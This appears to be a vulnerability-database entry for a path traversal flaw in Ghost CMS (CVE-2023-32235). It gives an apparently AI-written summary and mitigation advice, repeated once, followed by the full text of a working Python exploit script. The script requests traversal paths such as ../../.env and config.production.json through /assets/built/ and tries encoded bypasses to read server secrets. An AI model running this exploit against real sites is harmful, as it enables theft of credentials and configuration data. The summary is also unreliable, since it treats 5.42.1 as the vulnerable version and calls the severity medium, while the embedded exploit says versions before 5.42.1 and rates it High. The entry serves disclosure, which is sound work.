Ghost CMS 5.42.1 - Path Traversal
Ghost CMS 5.42.1 - Path Traversal
AI Analysis
Technical Summary
The reported security threat concerns a path traversal vulnerability in Ghost CMS version 5.42.1. Path traversal vulnerabilities allow an attacker to manipulate file path inputs to access files and directories outside the intended scope of the web application. In the context of Ghost CMS, a popular open-source blogging platform, such a vulnerability could enable an attacker to read sensitive files on the server, such as configuration files, environment variables, or other critical data that should not be publicly accessible. The presence of exploit code written in Python indicates that the vulnerability can be actively exploited, potentially automating the process of traversing directories and extracting sensitive information. Although the affected versions are not explicitly listed, the mention of version 5.42.1 suggests that this specific release contains the vulnerability. The lack of patch links implies that either a fix is not yet publicly available or not referenced in the provided data. The exploit does not require authentication or user interaction, increasing the risk of exploitation by unauthenticated attackers. Given the medium severity rating and the nature of path traversal vulnerabilities, the threat primarily impacts confidentiality by exposing sensitive data, but could also indirectly affect integrity and availability if attackers leverage the information gained to escalate privileges or disrupt services.
Potential Impact
For European organizations using Ghost CMS 5.42.1, this vulnerability poses a significant risk to the confidentiality of their data. Attackers could access sensitive configuration files containing database credentials, API keys, or other secrets, potentially leading to further compromise of backend systems. This could result in data breaches, defacement of websites, or unauthorized data manipulation. Organizations in sectors such as media, publishing, and digital marketing that rely on Ghost CMS for content management are particularly vulnerable. The exposure of sensitive data could also lead to regulatory non-compliance under GDPR, resulting in legal and financial penalties. Additionally, the exploitation of this vulnerability could damage the reputation of affected organizations, eroding customer trust. The absence of known exploits in the wild currently reduces immediate risk, but the availability of exploit code suggests that threat actors could weaponize this vulnerability rapidly.
Mitigation Recommendations
European organizations should immediately verify if they are running Ghost CMS version 5.42.1 and assess their exposure. In the absence of an official patch, organizations should implement strict input validation and sanitization on all user-supplied file path parameters to prevent directory traversal sequences such as '../'. Employing web application firewalls (WAFs) with rules designed to detect and block path traversal attempts can provide an additional layer of defense. Restricting file system permissions for the web server process to the minimum necessary scope will limit the impact of successful exploitation. Organizations should also monitor server logs for suspicious access patterns indicative of path traversal attempts. Regular backups and incident response plans should be reviewed and updated to prepare for potential exploitation. Finally, organizations should stay alert for official patches or updates from Ghost CMS and apply them promptly once available.
Affected Countries
United Kingdom, Germany, France, Netherlands, Italy, Spain, Sweden
Indicators of Compromise
- exploit-code: #!/usr/bin/env python3 # -*- coding: utf-8 -*- """ # Exploit Title: Ghost CMS 5.42.1 - Path Traversal # Date: 2023-06-15 # Exploit Author:ibrahimsql (https://github.com/ibrahimsql) # Vendor Homepage: https://ghost.org # Software Link: https://github.com/TryGhost/Ghost # Version: < 5.42.1 # Tested on: Kali Linux 2024.1 Windows 10, macOS Big Sur # CVE: CVE-2023-32235 # Category: Web Application Security # CVSS Score: 7.5 (High) # Description: # Ghost CMS before version 5.42.1 contains a path traversal vulnerability that allows # remote attackers to read arbitrary files within the active theme's folder structure. # The vulnerability exists in the /assets/built/ endpoint which improperly handles # directory traversal sequences (../../) allowing unauthorized file access. # This can lead to disclosure of sensitive configuration files, environment variables, # and other critical application data. # Impact: # - Unauthorized file disclosure # - Potential exposure of configuration files # - Information gathering for further attacks # - Possible credential harvesting # Requirements: requests>=2.28.1 """ import requests import sys import urllib.parse from typing import Dict, List, Tuple, Optional class ExploitResult: def __init__(self): self.success = False self.payload = "" self.response = "" self.status_code = 0 self.description = "Ghost before 5.42.1 allows remote attackers to read arbitrary files within the active theme's folder via /assets/built/../..// directory traversal" self.severity = "High" class PathTraversalExploit: def __init__(self, target_url: str, verbose: bool = True): self.target_url = target_url.rstrip('/') self.verbose = verbose self.session = requests.Session() self.session.headers.update({ 'Accept': '*/*', 'Cache-Control': 'no-cache', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' }) def exploit(self) -> ExploitResult: result = ExploitResult() # path traversal payloads targeting Ghost CMS specific files payloads = [ {"path": "../../package.json", "description": "Main package.json with dependencies", "sensitive": True}, {"path": "../../../package.json", "description": "Root package.json", "sensitive": True}, {"path": "../../config.production.json", "description": "Production configuration", "sensitive": True}, {"path": "../../config.development.json", "description": "Development configuration", "sensitive": True}, {"path": "../../.env", "description": "Environment variables", "sensitive": True}, {"path": "../../../.env", "description": "Root environment file", "sensitive": True}, {"path": "../../content/settings/routes.yaml", "description": "Routes configuration", "sensitive": False}, {"path": "../../content/logs/ghost.log", "description": "Ghost application logs", "sensitive": False}, {"path": "../../README.md", "description": "Documentation file", "sensitive": False}, {"path": "../../yarn.lock", "description": "Yarn lock file", "sensitive": False}, {"path": "../../package-lock.json", "description": "NPM lock file", "sensitive": False}, {"path": "../../../Dockerfile", "description": "Docker configuration", "sensitive": False}, {"path": "../../../docker-compose.yml", "description": "Docker compose file", "sensitive": False} ] for payload in payloads: target_url = f"{self.target_url}/assets/built/{payload['path']}" if self.verbose: print(f"[*] Testing path traversal: {payload['path']}") try: response = self.session.get(target_url, timeout=10) if response.status_code == 200 and len(response.text) > 0: if self._detect_file_read_success(response.text, payload['path']): result.success = True result.payload = payload['path'] result.response = response.text result.status_code = response.status_code if payload['sensitive']: result.severity = "Critical" if self.verbose: print(f"[+] Successfully exploited path traversal: {payload['path']}") print(f"[+] File content preview: {response.text[:200]}") return result except requests.RequestException as e: if self.verbose: print(f"[-] Request failed for {payload['path']}: {e}") continue # If no direct file read, try alternative bypass techniques if not result.success: self._try_path_traversal_bypasses(result) return result def _try_path_traversal_bypasses(self, result: ExploitResult): """Try various bypass techniques for path traversal""" bypass_payloads = [ "..%2f..%2fpackage.json", # URL encoded "..%252f..%252fpackage.json", # Double URL encoded "....//....//package.json", # Double dot bypass "..\\\\..\\\\package.json", # Windows style ".%2e/.%2e/package.json", # Mixed encoding "..%c0%af..%c0%afpackage.json", # UTF-8 overlong encoding ] for payload in bypass_payloads: target_url = f"{self.target_url}/assets/built/{payload}" try: response = self.session.get(target_url, timeout=10) if response.status_code == 200 and self._detect_file_read_success(response.text, payload): result.success = True result.payload = payload result.response = response.text result.status_code = response.status_code if self.verbose: print(f"[+] Path traversal successful using encoding bypass: {payload}") break except requests.RequestException: continue def _detect_file_read_success(self, body: str, payload: str) -> bool: """Check if the response indicates successful file read""" # Check for common file content indicators file_indicators = { "package.json": ['"name"', '"version"', '"dependencies"', '"scripts"'], ".env": ["DATABASE_URL", "NODE_ENV", "GHOST_", "="], "config": ['"database"', '"server"', '"url"', '"mail"'], "routes.yaml": ["routes:", "collections:", "taxonomies:"], "ghost.log": ["INFO", "ERROR", "WARN", "Ghost"], "README": ["#", "##", "Ghost", "installation"], "Dockerfile": ["FROM", "RUN", "COPY", "EXPOSE"], "docker-compose": ["version:", "services:", "ghost:"] } # Check specific file type indicators for file_type, indicators in file_indicators.items(): if file_type.lower() in payload.lower(): for indicator in indicators: if indicator in body: return True # Generic file content indicators generic_indicators = ["{", "}", "[", "]", ":", "=", "version", "name", "description"] count = sum(1 for indicator in generic_indicators if indicator in body) # If multiple generic indicators found, likely a valid file return count >= 3 def main(): if len(sys.argv) < 2: print("Usage: python3 CVE-2023-32235.py <target_url>") print("Example: python3 CVE-2023-32235.py http://target.com") return exploit = PathTraversalExploit(sys.argv[1], verbose=True) result = exploit.exploit() print("\n=== CVE-2023-32235 Path Traversal Exploit Results ===") print(f"Target: {exploit.target_url}") print(f"Success: {result.success}") print(f"Severity: {result.severity}") print(f"Description: {result.description}") if result.success: print(f"Payload: {result.payload}") print(f"Status Code: {result.status_code}") print(f"Response Preview: {result.response[:500]}") else: print("Exploit failed - target may not be vulnerable") if __name__ == "__main__": main()
Ghost CMS 5.42.1 - Path Traversal
Description
Ghost CMS 5.42.1 - Path Traversal
AI-Powered Analysis
Technical Analysis
The reported security threat concerns a path traversal vulnerability in Ghost CMS version 5.42.1. Path traversal vulnerabilities allow an attacker to manipulate file path inputs to access files and directories outside the intended scope of the web application. In the context of Ghost CMS, a popular open-source blogging platform, such a vulnerability could enable an attacker to read sensitive files on the server, such as configuration files, environment variables, or other critical data that should not be publicly accessible. The presence of exploit code written in Python indicates that the vulnerability can be actively exploited, potentially automating the process of traversing directories and extracting sensitive information. Although the affected versions are not explicitly listed, the mention of version 5.42.1 suggests that this specific release contains the vulnerability. The lack of patch links implies that either a fix is not yet publicly available or not referenced in the provided data. The exploit does not require authentication or user interaction, increasing the risk of exploitation by unauthenticated attackers. Given the medium severity rating and the nature of path traversal vulnerabilities, the threat primarily impacts confidentiality by exposing sensitive data, but could also indirectly affect integrity and availability if attackers leverage the information gained to escalate privileges or disrupt services.
Potential Impact
For European organizations using Ghost CMS 5.42.1, this vulnerability poses a significant risk to the confidentiality of their data. Attackers could access sensitive configuration files containing database credentials, API keys, or other secrets, potentially leading to further compromise of backend systems. This could result in data breaches, defacement of websites, or unauthorized data manipulation. Organizations in sectors such as media, publishing, and digital marketing that rely on Ghost CMS for content management are particularly vulnerable. The exposure of sensitive data could also lead to regulatory non-compliance under GDPR, resulting in legal and financial penalties. Additionally, the exploitation of this vulnerability could damage the reputation of affected organizations, eroding customer trust. The absence of known exploits in the wild currently reduces immediate risk, but the availability of exploit code suggests that threat actors could weaponize this vulnerability rapidly.
Mitigation Recommendations
European organizations should immediately verify if they are running Ghost CMS version 5.42.1 and assess their exposure. In the absence of an official patch, organizations should implement strict input validation and sanitization on all user-supplied file path parameters to prevent directory traversal sequences such as '../'. Employing web application firewalls (WAFs) with rules designed to detect and block path traversal attempts can provide an additional layer of defense. Restricting file system permissions for the web server process to the minimum necessary scope will limit the impact of successful exploitation. Organizations should also monitor server logs for suspicious access patterns indicative of path traversal attempts. Regular backups and incident response plans should be reviewed and updated to prepare for potential exploitation. Finally, organizations should stay alert for official patches or updates from Ghost CMS and apply them promptly once available.
Affected Countries
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Technical Details
- Edb Id
- 52408
- Has Exploit Code
- true
- Code Language
- python
Indicators of Compromise
Exploit Source Code
Exploit code for Ghost CMS 5.42.1 - Path Traversal
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ # Exploit Title: Ghost CMS 5.42.1 - Path Traversal # Date: 2023-06-15 # Exploit Author:ibrahimsql (https://github.com/ibrahimsql) # Vendor Homepage: https://ghost.org # Software Link: https://github.com/TryGhost/Ghost # Version: < 5.42.1 # Tested on: Kali Linux 2024.1 Windows 10, macOS Big Sur # CVE: CVE-2023-32235 # Category: Web Application Security # CVSS Score: 7.5 (High) # Description: # Ghost CMS before version 5.42.1 contains a path trave... (8306 more characters)
Threat ID: 689a95b8ad5a09ad002b096c
Added to database: 8/12/2025, 1:15:36 AM
Last enriched: 8/12/2025, 1:16:23 AM
Last updated: 8/17/2025, 1:15:08 AM
Views: 3
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CriticalActions
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